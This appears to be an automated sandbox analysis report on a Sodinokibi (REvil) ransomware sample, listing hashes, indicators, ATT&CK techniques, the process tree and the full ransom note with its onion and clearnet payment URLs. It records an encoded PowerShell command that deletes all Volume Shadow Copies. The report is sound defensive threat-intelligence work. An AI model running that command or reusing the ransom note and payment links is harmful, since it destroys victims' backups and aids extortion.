sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
91s
max time network
95s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
02-03-2024 17:01

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

4903f3effb98da65c49bb9591c16615d
SHA1

d53e85991420c1475385babd72d31ee77faefc6d
SHA256

42996516b6604ba136ff909d9b59d2a676a72eaafa30c729cdfaddd96b20fc83
SHA512

454b8a5f3528ce77d993b84ccd0df7b8f0843a6a47516b1aa13fe6cbb79d1853646e03c7c9663266df154fd464f594d41be1e392d0c8c3dd676e4348e5149880
SSDEEP

3072:BrX1t2U05pbJ5xhxY9doh7O79siUs/NaDn3Ka9:BrltH05f5v2i7O93Nenaa9

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Recovery\top3gk2-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension top3gk2. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/24664199F4D2B38D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/24664199F4D2B38D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: szxCBdbtr0Oy40TGf3LrrhQUc8fZS0xjPp/pKnf9iUJSsHIv959JTSVDf2kXCQ5N 84p3BDh7q54JAfIKRtHbgg7WN4SsiUy8wMc1CNSF4H/268qiuDYhIaO/PxZbeb8M bUqnyOphu9ygEDaJB0fCsvGB0P77h2hSRYuXdmUKEIfTcMLWdSWG9TXt22QPiuLK avqE8ahX4+nLuXha3WAhKsX74/3JnGhQtYZMehc0BMf1pVjdqbau793WJFI5J82I 4dRhxrqL99BnnaNy0KynT0UwpjMDoC4h3v7Evll1j07tGcSso1/LdEHxa3qW82IF VvXtF0mnILjjfcMvwqTjcZS5yH3cLUG3VvvWbX4K1skR3fvKD5IfIvjU4omXPhGF SBvTqQWpYiFe9UpCoWogsZ7PdaQ1gTqB8KMhoI7xwrdOTwEDkzasMcN/+XP6DvTA cKHtnN8qkekdtH3NabTMACP5km701uIZH4XAJ2BXOMmBF6Ik2giqZ4Mt581c9btO LguPrPfnvDiqkYQpDqO/T3/bOW99z/bRWHPOA4UOLxW9oa5uIDStvfqVeJzUT/sl IIXo2puZImOfbL9Kg7EzFQ98kwoZw/GOmiKmzV7DcNHvVXF9F+HzlZ6QXS7Zjt/D xFIK1MiEsRh4S9cwac6a08mvmoKbWzkr3LE7jnSNha/GBQayq8EqXnUq1Rw2cWKZ yMjSiWMFCqsx8f5+TOyljNdciQ1Z3gFAe4jYBfk2VqY009Kvw6yso8rdbKQynHLS VFRykLnKSz0PmmsJer/9tuHYf6OfCYIv4EV4cZ96/UzMmX4fzsg1E+2EOH0wnb4x TsHTJkyNiuTaorUg+CQiwxu6ScBWSOWlMLdLBiapXW3Ahh1BFC7DZogszuTfGyAQ /vqNZSvtFu3zl2XcV26Ceq3ZEG7wALO1mbKTPLD2faYHliZsGo2fLWdjk9NSRxqD xA+MWY7xMBoHUmsg6mkqvKsND1iYxtsFQ4oNtLGYFA2P+PaBiSTz7jHzMfNNTlnq aouDpfX7/trvUeJFdNwkNQJP7mVHS4H+FyrcX+C0RB8DniwhQY2t1VJ6/JRlihJf plmYta3AKNj08zcHM2tSwQfwUAzylWShtKgea3OwZAoKkG/9IlHE6eRfjjKYXgyL CSHLRiz1PREznZ2dJdhKiEENaVU7ypY3tVt2jD8WotZ2EYcaNEmTAQ/+K2k6fa5v 4q0Py2YgHED1jzF4pJJRRRVgSOU= Extension name: top3gk2 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/24664199F4D2B38D

http://decryptor.top/24664199F4D2B38D

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe

Drops file in Program Files directory 30 IoCs

Processes:

rundll32.exe

description	ioc	process
File opened for modification	\??\c:\program files\SelectConvertFrom.xlt	rundll32.exe
File opened for modification	\??\c:\program files\SendOpen.pptx	rundll32.exe
File opened for modification	\??\c:\program files\CompressUnblock.avi	rundll32.exe
File opened for modification	\??\c:\program files\ExpandInstall.jpeg	rundll32.exe
File opened for modification	\??\c:\program files\ProtectApprove.sql	rundll32.exe
File opened for modification	\??\c:\program files\SearchRemove.midi	rundll32.exe
File opened for modification	\??\c:\program files\RemoveShow.zip	rundll32.exe
File opened for modification	\??\c:\program files\SkipAssert.wm	rundll32.exe
File opened for modification	\??\c:\program files\UpdateEnter.dot	rundll32.exe
File opened for modification	\??\c:\program files\AssertStep.midi	rundll32.exe
File opened for modification	\??\c:\program files\ClosePing.contact	rundll32.exe
File opened for modification	\??\c:\program files\GroupRename.M2V	rundll32.exe
File opened for modification	\??\c:\program files\MoveLimit.aiff	rundll32.exe
File opened for modification	\??\c:\program files\ImportRemove.gif	rundll32.exe
File opened for modification	\??\c:\program files\LimitDeny.ttc	rundll32.exe
File opened for modification	\??\c:\program files\GrantShow.clr	rundll32.exe
File opened for modification	\??\c:\program files\JoinClear.xltx	rundll32.exe
File opened for modification	\??\c:\program files\ResumeApprove.wma	rundll32.exe
File opened for modification	\??\c:\program files\UnlockUse.vstm	rundll32.exe
File created	\??\c:\program files (x86)\top3gk2-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\UnprotectDisable.ppsm	rundll32.exe
File opened for modification	\??\c:\program files\SaveDisable.mp4v	rundll32.exe
File created	\??\c:\program files\top3gk2-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\CheckpointApprove.html	rundll32.exe
File opened for modification	\??\c:\program files\MergeClose.jpeg	rundll32.exe
File opened for modification	\??\c:\program files\RemoveResolve.vdx	rundll32.exe
File opened for modification	\??\c:\program files\MergeWatch.reg	rundll32.exe
File opened for modification	\??\c:\program files\RestoreRevoke.jfif	rundll32.exe
File opened for modification	\??\c:\program files\SkipRemove.wmv	rundll32.exe
File opened for modification	\??\c:\program files\UnpublishTrace.eprtx	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

4044 rundll32.exe
4044 rundll32.exe
4292 powershell.exe
4292 powershell.exe

pid	process
4044	rundll32.exe
4044	rundll32.exe
4292	powershell.exe
4292	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeBackupPrivilege	3252	vssvc.exe
Token: SeRestorePrivilege	3252	vssvc.exe
Token: SeAuditPrivilege	3252	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 3884 wrote to memory of 4044	3884	rundll32.exe	rundll32.exe
PID 3884 wrote to memory of 4044	3884	rundll32.exe	rundll32.exe
PID 3884 wrote to memory of 4044	3884	rundll32.exe	rundll32.exe
PID 4044 wrote to memory of 4292	4044	rundll32.exe	powershell.exe
PID 4044 wrote to memory of 4292	4044	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3884

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
2⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4292

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4808

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3252

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Recovery\top3gk2-readme.txt
Filesize
6KB

MD5
57ec961c539166cc511872ceb683dd82

SHA1
08597aa05e999431e97870b4be29648f6d7ec839

SHA256
bb4c03b70df89457e5cef7c5207586e30e1b17b06d7d699889685166ace88dfc

SHA512
445a35678b69d2d1b8d934a000cf46e47c2d2abaeef03522b1bc53990c78e3239d8f31c6a864408efea72bc2928c21f0c133e6dff4b0d33a30f8e5b5c96312cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_enhu1tyv.lzm.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4292-0-0x0000024FC62D0000-0x0000024FC62F2000-memory.dmp

Filesize
136KB

Download
memory/4292-9-0x00007FFA01730000-0x00007FFA021F2000-memory.dmp

Filesize
10.8MB

Download
memory/4292-10-0x0000024FC6290000-0x0000024FC62A0000-memory.dmp

Filesize
64KB

Download
memory/4292-11-0x0000024FC6290000-0x0000024FC62A0000-memory.dmp

Filesize
64KB

Download
memory/4292-12-0x0000024FC6290000-0x0000024FC62A0000-memory.dmp

Filesize
64KB

Download
memory/4292-15-0x00007FFA01730000-0x00007FFA021F2000-memory.dmp

Filesize
10.8MB

Download